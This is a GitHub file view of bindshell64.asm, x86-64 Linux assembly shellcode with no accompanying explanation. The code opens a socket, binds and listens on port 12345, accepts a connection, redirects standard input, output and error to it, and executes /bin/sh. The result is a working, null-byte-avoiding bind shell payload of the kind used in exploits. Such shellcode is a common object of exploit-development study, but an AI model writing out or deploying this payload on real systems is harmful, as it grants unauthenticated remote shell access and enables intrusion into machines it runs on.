-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathbindshell64.asm
More file actions
75 lines (65 loc) · 1012 Bytes
/
bindshell64.asm
File metadata and controls
75 lines (65 loc) · 1012 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
; 64bit version
global _start
section .text
_start:
; socket
xor eax,eax
xor ebx,ebx
xor edx,edx
;socket
mov al,0x1
mov esi,eax
inc al
mov edi,eax
mov dl,0x6
mov al,0x29 ; sys_socket (syscall 41)
syscall
xchg ebx,eax
; bind
xor rax,rax
push rax
push 0x39300102
mov [rsp+1],al
mov rsi,rsp
mov dl,16
mov edi,ebx
mov al,0x31 ;sys_bind (syscall 49)
syscall
;listen
mov al,0x5
mov esi,eax
mov edi,ebx
mov al,0x32 ;sys_listen (syscall 50)
syscall
;accept
xor edx,edx
xor esi,esi
mov edi,ebx
mov al,0x2b ;sys_accept (43)
syscall
mov edi,eax ; store socket
;dup2
xor rax,rax
mov esi,eax
mov al,0x21 ;sys_dup2 (syscall 33)
syscall
inc al
mov esi,eax
mov al,0x21
syscall
inc al
mov esi,eax
mov al,0x21
syscall
;exec
xor rdx,rdx
mov rbx,0x68732f6e69622fff
shr rbx,0x8
push rbx
mov rdi,rsp
xor rax,rax
push rax
push rdi
mov rsi,rsp
mov al,0x3b ; sys_execve (59)
syscall